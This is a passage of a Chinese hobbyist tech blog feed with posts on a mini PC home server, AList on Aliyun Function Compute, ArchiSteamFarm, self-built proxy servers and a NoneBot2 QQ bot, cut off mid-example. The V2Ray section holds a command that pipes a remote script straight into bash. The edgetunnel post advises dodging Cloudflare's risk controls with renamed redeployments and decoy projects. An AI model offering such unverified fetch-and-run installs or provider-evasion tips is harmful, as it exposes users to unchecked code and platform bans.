&lt;p&gt;一开始，我只是用它挂了QQBot，这也是我最初最想要干的事情，因为如果我去花钱买国内的云服务器挂Bot那太贵了，国外的服务器延迟又太高，拿自己的手机电脑是一个很好的选择，我的朋友就曾使用过Shamrock（？？？）来挂Bot。不过这并不适用于我，在当时，我的所有设备（包括手机、平板、电脑）都各司其职，还要天天陪我出勤，根本做不到24h不关机，我总不能说我电脑&#x2F;手机&#x2F;平板断网Bot就下线吧，而且我也很讨厌将个人设备的一部分作为服务器使用，就像你在玩崩坏：星穹铁道的时候后台挂着Stable Diffusion一样 &lt;del&gt;（而且不符合Unix哲学）&lt;&#x2F;del&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;其实很早我就曾使用过旧手机+Termux达到家里云的效果了，但是因为手机芯片是Arm64，而大部分运维软件都是AMD64（x86）架构的。对于开源软件还好说，只需要自己费劲编译一个版本 &lt;del&gt;（或者嫖Github Action的编译）&lt;&#x2F;del&gt; 就可以去使用了。
但是对于经常摸云服务器的我来说，还是喜欢x86架构的开箱即用，也可以顺势装上一些运维管理面板辅助使用。&lt;&#x2F;p&gt;
&lt;p&gt;那么就只有一个解了，那就是买一个x86小主机。你可能注意到了，我说了这么久我为什么要买一个x86小主机作为家里云使用，但是通篇没有提NAS三个字，这是为什么呢，正所谓饱暖思淫欲。&lt;&#x2F;p&gt;
&lt;p&gt;如果仅仅花了大价钱买了个家里云就放着吃灰绝对是不行的，所以那段时间我就开始天天折腾，但实际上来说那一款小主机并不适合作为NAS。我们都知道NAS中文叫做网络附属存储，那么既然是网络附属&lt;strong&gt;存储&lt;&#x2F;strong&gt;，那必然要干什么？欸对！狠狠塞盘！但是实际上那一款小主机只有一个M.2和一个SATA插槽，而且M.2已经作为系统盘了，而SATA插槽也是只能插2.5寸的硬盘。&lt;&#x2F;p&gt;
&lt;p&gt;人话来说，这完全就不是一个NAS，单盘位算NAS吗？只是一个容量比较大的家里云罢了。我说到这里你可能都会在想，那你为什么还要买呢？欸这你就不知道了，我曾经在2017年买过一个ASUS的双核笔记本，而当时这个智商税笔记本用的硬盘就是2.5寸的机械硬盘，高达512G，虽然这个主机做不了RAID，也塞不进多盘 &lt;del&gt;（其实可以，后续我通过后面的USB接口外置硬盘盒做到了一个极其不稳定的RAID0）&lt;&#x2F;del&gt; ，但是它确实能做到24h不关机，N100的性能也足够用，也够我折腾各种乱七八糟的东西了。&lt;&#x2F;p&gt;
&lt;p&gt;于是在那段时间我便在这个小主机上搭建了不少服务也装过不少系统，基本把常用Linux发行版全跑了一遍，也体验了PVE里面跑飞牛的嵌套操作，那段时间天天都有新东西可以折腾，还是很爽的。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;na-me-hua-you-shuo-hui-lai-ji-ran-wo-yi-jing-mai-diao-liao-na-ge-xiao-zhu-ji-zhe-you-shi-wei-shen-me-ni&quot;&gt;那么话又说回来，既然我已经卖掉了那个小主机，这又是为什么呢？&lt;&#x2F;h1&gt;
&lt;p&gt;缺钱，但是不知道在缺什么钱。哈哈，写到这里真是把我也笑到了，从众心理是真的很害人，我们都知道2024年末苹果发布了Mac Mini，16+256G+教育优惠不到4k就能买到全新机，而恰巧我的一位朋友提机了然后跟我聊这玩意怎么怎么好，然后一时上头就把能当的全部当了 &lt;del&gt;（我纱布一个，不仅是小主机惨遭毒手，还有Redmi Book Pro 15S，Redmi G，XiaomiPad 6等等）&lt;&#x2F;del&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;总算是凑够钱线下提机了，到手傻眼了，苹果的M4芯片是Arm架构的，很多东西都跑不了，Docker调用不了GPU，说白了这东西对我来说就是，性能强大的家庭服务器，但是我不会用，那么聪明的二叉树树做了一件什么事呢？在可以7天无理由的情况下毅然决然挂到闲鱼，以高价3333人民币卖出 &lt;del&gt;（购入是4k左右，折下来净亏1k）&lt;&#x2F;del&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;最后在假期余额即将不足的最后拿这个3333人民币购入了一款一加Ace 5 Pro 16+512 国家补贴-500，最终3299人民币到手的超高性能甜品机。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zhu-bo-zhu-bo-ni-de-cao-zuo-huan-shi-tai-ben-bi-liao-hou-xu-you-mei-you-shen-me-geng-ben-bi-de-cao-zuo-a&quot;&gt;主播主播，你的操作还是太笨比了，后续有没有什么更笨比的操作啊！&lt;&#x2F;h1&gt;
&lt;p&gt;有的，兄弟有的，就在刚刚！下单了一个新NAS，我已经准备好通宵搞机了。我的一位朋友曾说人生在于折腾，但可惜那时我已经佛了，被各种事情忙的不可开交。但是话又说回来，现在，我前所未有的感到空闲，我将带领我的大脑，我的身体，我的精神，开启一场前所未有的熬夜、搞机、折腾、坐牢盛宴&lt;&#x2F;p&gt;
&lt;p&gt;哈哈！我一定要活下去口牙！&lt;&#x2F;p&gt;
&lt;p&gt;后续搞机有成也会写新博文的，确实很久没写了，我向大家道歉，看着网站每天20的日活真的要哭了，你们都不来找我呜呜呜呜呜呜呜&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>利用阿里云云函数 FC 搭建AList后端，每月仅需5毛！</title>
        <published>2025-01-13T00:00:00+00:00</published>
        <updated>2025-01-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/alist-for-aliyun/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/alist-for-aliyun/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/alist-for-aliyun/">&lt;p&gt;推荐Akile：https://akile.io&#x2F;register?aff_code=503fe5ea-e7c5-4d68-ae05-6de99513680e&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;yuan-li&quot;&gt;原理&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;AList前端有一个专门的项目：https://github.com&#x2F;AlistGo&#x2F;alist-web 。可前往&lt;a href=&quot;&#x2F;alist-web&quot;&gt;AList-Web部署教程&lt;&#x2F;a&gt;。教程使用了Cloudflare Page进行前端部署，我们更建议你使用 https://vercel.com 来进行前端部署，因为更快。这些都完全免费&lt;&#x2F;li&gt;
&lt;li&gt;部署完毕前端后，我们就需要一个后端，它需要能够执行AList的二进制文件，并且能开放端口（默认为5244）来让前端可以和后端相互通信。在传统情况下我们会选择购买一台云服务器，或者用自己的电脑&#x2F;家里云+Cloudflare Tunnel又或者是Serv00这种免费的托管。本篇我们使用阿里云FC函数计算，它虽然可以运行二进制文件，但是和传统架构大相径庭，我们要深入了解。&lt;&#x2F;li&gt;
&lt;li&gt;FC函数是一个实例性服务。用户可以创建函数部署服务，当一定条件被触发（比如HTTP触发器）则创建新的实例开始运行用户的服务。也就是说这个实例是无状态的，如果直接拿来部署AList就会导致第一次配置完毕后过一段时间再访问就会变为初始状态。就算你一开始就使用一个全量包来部署，在部署后也无法对其进行更改，所以我们需要绑定一个NAS文件系统，用于数据持久化。但是NAS文件系统并不能直接绑定到代码的运行时 &#x2F;code&#x2F;xxx 目录，我们可以使用AList的指定配置文件参数，将NAS绑定到 &#x2F;mnt&#x2F;AList 然后指定配置文件到 &#x2F;mnt&#x2F;AList 。也就是通过 &lt;strong&gt;.&#x2F;alist server --data &#x2F;mnt&#x2F;AList&lt;&#x2F;strong&gt; 命令来启动，这样就做到了数据持久化。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;guan-yu-ji-fei&quot;&gt;关于计费&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;FC函数通过CU数来收费&lt;&#x2F;li&gt;
&lt;li&gt;NAS通过存储空间来收费&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;shi-cao&quot;&gt;实操&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;我们假设你已经部署完毕了前端。前端和后端的通信地址在根目录的 env.production 文件定义&lt;&#x2F;li&gt;
&lt;li&gt;我们目前并不知道这个后端URL如何填写，因为这个URL是由阿里云在FC函数创建完毕的时候才会展示，所以我们暂且搁置到一遍&lt;&#x2F;li&gt;
&lt;li&gt;接下来我们前往阿里云-函数计算FC官网 https://fcnext.console.aliyun.com&#x2F;overview&lt;&#x2F;li&gt;
&lt;li&gt;依次点击 左侧边栏的 函数 -&amp;gt; 创建函数 -&amp;gt; Web函数。进入到创建Web函数的页面&lt;&#x2F;li&gt;
&lt;li&gt;函数名称填写AList，运行环境选择Debian 10或Debian 11，代码上传方式选择从文件夹上传代码，启动命令填写：&lt;strong&gt;.&#x2F;alist server --data &#x2F;mnt&#x2F;AList&lt;&#x2F;strong&gt;，监听端口填写5244&lt;&#x2F;li&gt;
&lt;li&gt;我们需要上传代码到函数，也就是AList的二进制文件，我们前往 https://github.com&#x2F;AlistGo&#x2F;alist&#x2F;releases&#x2F;latest 下载最新的Linux AMD64架构的二进制文件，也就是 &lt;strong&gt;alist-linux-amd64.tar.gz&lt;&#x2F;strong&gt;。将其解压，你会得到一个名为 &lt;strong&gt;alist&lt;&#x2F;strong&gt;的二进制文件，创建一个空文件夹将其放进去，然后上传这个文件夹到函数&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz&#x2F;myblog&#x2F;img&#x2F;QmdajYeRyt1u3BSmRdGx8uUHKamGDkwoRe4TmEFZsJsaqS.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ol start=&quot;7&quot;&gt;
&lt;li&gt;
&lt;p&gt;然后点击左下角的创建&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;然后你会进入到函数的控制面板，依次点击 配置 -&amp;gt; 网络 -&amp;gt; 网络 编辑 -&amp;gt; 允许访问VPC:是 -&amp;gt; 自动配置。依次点击 配置 -&amp;gt; 存储 -&amp;gt; NAS文件存储 编辑 -&amp;gt; 挂载 NAS 文件系统:启用 -&amp;gt; 自动配置。依次点击 日志 -&amp;gt; 开通日志服务&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;现在回到 代码 界面，点击部署代码。稍等片刻会提示部署成功，然后点击 函数详情内的 HTTP触发器 ，复制公网访问地址。这个就是我们前文提到的要写到前端根目录的 env.production 文件的URL，将其填写进去，例如&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;VITE_API_URL = &amp;quot;https://aliyun-fc-alist.run&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;提交你的新更改，前端会自动重新构建&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;尝试直接访问你的AList前端URL，它应该会顺利进入到AList的登录页面&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;此时查看控制面板的 实例 是否有一条新的实例正在工作，如果有，再前往日志查看该实例日志，你会看到AList初始化时生成的管理员密码，拿这个密码到前端URL登录AList，然后就可以正常使用了&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;yi-nan-jie-da&quot;&gt;疑难解答&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;如果出现正在加载储存：
&lt;img src=&quot;https://eo-r2.2x.nz&#x2F;myblog&#x2F;img&#x2F;QmZVewYnKwCJzcShnkGTTVZJiTSUUSQi9u6pZ5rXRDK3rK.png&quot; alt=&quot;9aa460cd2dc84e1debe43e9df2d342fc&quot; &#x2F;&gt;
查看你的日志，是否有存储加载失败，如果有可以尝试：
&lt;ol&gt;
&lt;li&gt;反复重新部署，直到能进后台然后删除那些加载失败的存储&lt;&#x2F;li&gt;
&lt;li&gt;https://github.com&#x2F;AlistGo&#x2F;alist&#x2F;discussions&#x2F;3976&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>使用ArchiSteamFarm进行Steam自动挂卡</title>
        <published>2024-12-18T00:00:00+00:00</published>
        <updated>2024-12-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/asf/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/asf/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/asf/">&lt;p&gt;Windows x86&#x2F;Arm64
Linux x86&#x2F;Arm64&#x2F;Arm32
OS X x86&#x2F;Arm64
（和其余任何可以获取有效 .NET Core 运行时的地方工作。基于Github仓库源码手动编译）&lt;&#x2F;p&gt;
&lt;h1 id=&quot;an-zhuang-shi-yong-archisteamfarm&quot;&gt;安装&amp;amp;使用 ArchiSteamFarm&lt;&#x2F;h1&gt;
&lt;p&gt;https://github.com&#x2F;JustArchiNET&#x2F;ArchiSteamFarm&lt;&#x2F;p&gt;
&lt;p&gt;或前往Release：https://github.com&#x2F;JustArchiNET&#x2F;ArchiSteamFarm&#x2F;releases&#x2F;latest&lt;&#x2F;p&gt;
&lt;p&gt;下载你适用于你作业系统的可执行文件的压缩包&lt;&#x2F;p&gt;
&lt;p&gt;启动ArchiSteamFarm
等待终端输出WebUI地址，进入&lt;&#x2F;p&gt;
&lt;p&gt;添加机器人，简单配置即可&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz&#x2F;myblog&#x2F;img&#x2F;QmcoF7K5sTkd4CRGTZPmnLwheAHpSf68RkZTd4ZST41uXc.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果你配置了Steam手机验证器，此时应该会弹出登录请求，允许它。然后前往终端界面输入 &lt;strong&gt;Y&lt;&#x2F;strong&gt; 并回车
此时终端应该输出：&lt;strong&gt;成功以 XXXXXXXXXX 的身份登录。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz&#x2F;myblog&#x2F;img&#x2F;QmcuktSJjWFmufsLmrYRsbLa9ns7pvRXKWZ5EUyirasKt6.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果此时登录的账号未被占用，则自动开始挂卡。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;ASF并不会干扰你的正常使用Steam的行为，当账号被占用时，ASF会暂停挂卡，直到账号未被占用，这个过程是全自动的，无需手动干涉&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;ASF可以视为一个无头Steam客户端，它不仅能挂卡，还能做更多事情，详见：https://github.com&#x2F;JustArchiNET&#x2F;ArchiSteamFarm&#x2F;wiki&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>关于Rewrite MV无法播放&#x2F;没有画面的解决方法</title>
        <published>2024-11-28T00:00:00+00:00</published>
        <updated>2024-11-28T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/rewrite-qa/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/rewrite-qa/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/rewrite-qa/">&lt;p&gt;安装这个即可&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz&#x2F;myblog&#x2F;img&#x2F;bafkreieb2qknggudxx7sc723jheso6grhgemznjqb5n6yqwsrvgqkqn4ba.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后游戏内改为Windows Media Player&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz&#x2F;myblog&#x2F;img&#x2F;bafkreihujn3jctibvixv4trpsu5j4d2v7de2ibzea6xe6pzmithymffpqu.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;yi-hua-zu-ti-gong-de-jie-jue-fang-fa&quot;&gt;汉化组提供的解决方法&lt;&#x2F;h1&gt;
&lt;p&gt;安装：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.codecguide.com&#x2F;download_k-lite_codec_pack_basic.htm&quot;&gt;K-Lite Basic解码器&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后游戏内改为 MCI&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz&#x2F;myblog&#x2F;img&#x2F;bafkreic7a3tnnoxyn646tzy35nec2oioz4ktffuizb5ge67ibww5ntnmpq.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>自建正向代理服务器</title>
        <published>2024-11-22T00:00:00+00:00</published>
        <updated>2024-11-22T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/vpn/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/vpn/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/vpn/">&lt;p&gt;下面内容参考自：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://vercel.blog.cmliussss.com&#x2F;p&#x2F;CM24&#x2F;&quot;&gt;CF VLESS 从入门到精通 cmliu&#x2F;edgetunnel 必看内容 免费节点 优选订阅 Workers &amp;amp; Pages CM喂饭干货满满24 | CMLiussss Blog&lt;&#x2F;a&gt; 请支持原创作者！&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;https://github.com&#x2F;cmliu&#x2F;edgetunnel&#x2F;archive&#x2F;refs&#x2F;heads&#x2F;main.zip 将它上传到你的Cloudflare Pages项目（没有Cloudflare账号？先去因特网上搜索教程注册一个！如果遇到卡慢可以试试看科学上网）&lt;&#x2F;li&gt;
&lt;li&gt;进入 https://it-tools.tech&#x2F;uuid-generator 随机获取一个uuid&lt;&#x2F;li&gt;
&lt;li&gt;添加一个名称为&lt;code&gt;UUID&lt;&#x2F;code&gt;的变量绑定，值为第二步随机获取的（请不要泄露给他人！）&lt;&#x2F;li&gt;
&lt;li&gt;重新上传第一步的&lt;code&gt;main.zip&lt;&#x2F;code&gt;。让Cloudflare重新部署page以适配新变量&lt;&#x2F;li&gt;
&lt;li&gt;前往Pages项目 -&amp;gt; 自定义域：绑定自定义域名。（没有域名？推荐 https://nic.us.kg https://www.cloudns.net 。可以自行前往因特网搜索教程，这里不再赘述。也可以不绑定，直接使用cf分配的&lt;code&gt;pages.dev&lt;&#x2F;code&gt;域名。但是，部分地区&lt;code&gt;pages.dev&lt;&#x2F;code&gt;可能无法访问或者较易和谐）&lt;&#x2F;li&gt;
&lt;li&gt;通过 &lt;code&gt;https://你的自定义域名&#x2F;uuid&lt;&#x2F;code&gt; 查看仪表盘&lt;&#x2F;li&gt;
&lt;li&gt;如图复制链接，打开V2Ray，导入。V2Ray客户端下载地址在文章最后&lt;&#x2F;li&gt;
&lt;li&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-11-24-00-17-22-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;li&gt;500Mbps的移动宽带，通过edgetunnel测速速度如下。测速网址： https://fast.com&lt;&#x2F;li&gt;
&lt;li&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-11-22-09-08-38-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;li&gt;如果你就是想要最低延迟，可以去用cfnat，这里放一个Windows的链接： https://www.youtube.com&#x2F;watch?v=N2Y9TsiBgls 其他平台可以自行前往CM的YouTube查找&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;注意！edgetunnel近期在Cloudflare新号上可能会报错1101，这可能并不是你的配置问题，而是被cf风控了。解决方案是删除原项目重新部署一遍，不要用一样的项目名！你也可以多弄几个其他的正常pages或workers项目做伪装！博主使用新号实测被gank了3次（每一次都换名字删除pages然后重新部署），然后一直稳定到现在&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;本人实测在全天使用edgetunnel的情况下已经使用了大部分的配额，所以请不要将自己的项目分享给别人，也不要拿去卖！自己注册简简单单！&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;如图为博主半天的使用量：我只是上了上Telegram~&lt;&#x2F;li&gt;
&lt;li&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-11-26-16-07-50-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;jiang-ni-zi-ji-de-guo-wai-vpszuo-wei-dai-li-shi-yong&quot;&gt;将你自己的国外VPS作为代理使用&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;shi-yong-xin-xie-yi-hysteria2&quot;&gt;使用新协议：Hysteria2&lt;&#x2F;h2&gt;
&lt;p&gt;可以前往这两个仓库进行一键安装~&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;0x0129&#x2F;hysteria2&quot;&gt;https://github.com&#x2F;0x0129&#x2F;hysteria2&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;seagullz4&#x2F;hysteria2&quot;&gt;https://github.com&#x2F;seagullz4&#x2F;hysteria2&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;大致安装过程：自签名，不使用acme，不使用端口跳跃&lt;&#x2F;p&gt;
&lt;p&gt;客户端（Hiddify）：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;hiddify&#x2F;hiddify-app&quot;&gt;https://github.com&#x2F;hiddify&#x2F;hiddify-app&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;其他客户端在第二个Github Repo获取&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-yong-jiu-xie-yi-v2ray&quot;&gt;使用旧协议：V2Ray&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;233boy&#x2F;v2ray&quot;&gt;https://github.com&#x2F;233boy&#x2F;v2ray&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;VPS安装脚本：&lt;code&gt;bash &amp;lt;(curl -s -L https://git.io&#x2F;v2ray.sh)&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;详细安装：脚本执行完毕后输入&lt;code&gt;v2ray&lt;&#x2F;code&gt;更改配置为Shadowsocks&lt;&#x2F;p&gt;
&lt;p&gt;Windows客户端： &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;2dust&#x2F;v2rayN&#x2F;releases&quot;&gt;Releases · 2dust&#x2F;v2rayN · GitHub&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Android客户端： &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;2dust&#x2F;v2rayNG&#x2F;releases&quot;&gt;Releases · 2dust&#x2F;v2rayNG · GitHub&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>使用NoneBot2搭建你的QQBot！</title>
        <published>2024-11-20T00:00:00+00:00</published>
        <updated>2024-11-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/qqbot/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/qqbot/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/qqbot/">&lt;blockquote&gt;
&lt;p&gt;用于登录 QQ 实现收发消息&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;进入&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;NapNeko&#x2F;NapCatQQ&#x2F;releases&#x2F;latest&quot;&gt;Release NapCat V4.1.12 · NapNeko&#x2F;NapCatQQ · GitHub&lt;&#x2F;a&gt;，下载&lt;code&gt;NapCat.Shell.zip&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;将其解压到一个单独的文件夹，然后打开命令行，运行&lt;code&gt;launcher.bat &amp;lt;BOT QQ号&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;运行后通过手机扫码登录&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;它会打印本地控制台的地址信息，如：&lt;code&gt;[NapCat] [WebUi] WebUi Local Panel Url: http:&#x2F;&#x2F;127.0.0.1:6099&#x2F;webui?token=4xldg5fqb1&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;直接进入，如图配置即可（端口号可以自己修改，但是要和下部分NoneBot2监听的端口一致。这里是9090）&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-11-20-19-21-21-2024-11-20-19-15-39-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;an-zhuang-nonebot2&quot;&gt;安装 NoneBot2&lt;&#x2F;h1&gt;
&lt;p&gt;用于实现逻辑，控制 NapCat 收发消息&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;首先，你得装&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.python.org&#x2F;downloads&#x2F;&quot;&gt;Python&lt;&#x2F;a&gt;。Windows可以使用 https://scoop.sh&#x2F;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;pypi 清华源：&lt;code&gt;pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn&#x2F;simple&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;装 pipx：&lt;code&gt;pip install pipx&lt;&#x2F;code&gt;。你也可以使用&lt;code&gt;scoop install pipx&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;设置 pipx 全局变量：&lt;code&gt;pipx ensurepath&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;装 nb-cli：&lt;code&gt;pipx install nb-cli&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;如果找不到 nb 命令：&lt;&#x2F;strong&gt; 对于 root 用户，你可以编辑 &lt;code&gt;&#x2F;root&#x2F;.bashrc&lt;&#x2F;code&gt; 或 &lt;code&gt;&#x2F;root&#x2F;.profile&lt;&#x2F;code&gt;（如果你使用的是 Bash）： &lt;code&gt;nano &#x2F;root&#x2F;.bashrc&lt;&#x2F;code&gt; 添加以下行： &lt;code&gt;export PATH=&quot;$HOME&#x2F;.local&#x2F;bin:$PATH&quot;&lt;&#x2F;code&gt; 保存并重新加载配置： &lt;code&gt;source &#x2F;root&#x2F;.bashrc&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;装 nb bootstrap：&lt;code&gt;nb self install nb-cli-plugin-bootstrap&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;新建项目，选一个你喜欢的文件夹，然后：&lt;code&gt;nb bs&lt;&#x2F;code&gt; （看不懂的就一路回车）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;示例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;C:\afbot&amp;gt;nb bs
加载适配器列表中……
请输入项目名称
[?] 请输入 &amp;gt; onanibot
[?] 请选择你想要使用的适配器 OneBot V11 (OneBot V11 协议)
请输入 Bot 超级用户，超级用户拥有对 Bot 的最高权限（如对接 QQ 填 QQ 号即可）（留空回车结束输入）
[?] 第 1 项 &amp;gt;
请输入 Bot 昵称，消息以 Bot 昵称开头可以代替艾特（留空回车结束输入）
[?] 第 1 项 &amp;gt;
请输入 Bot 命令起始字符，消息以起始符开头将被识别为命令，
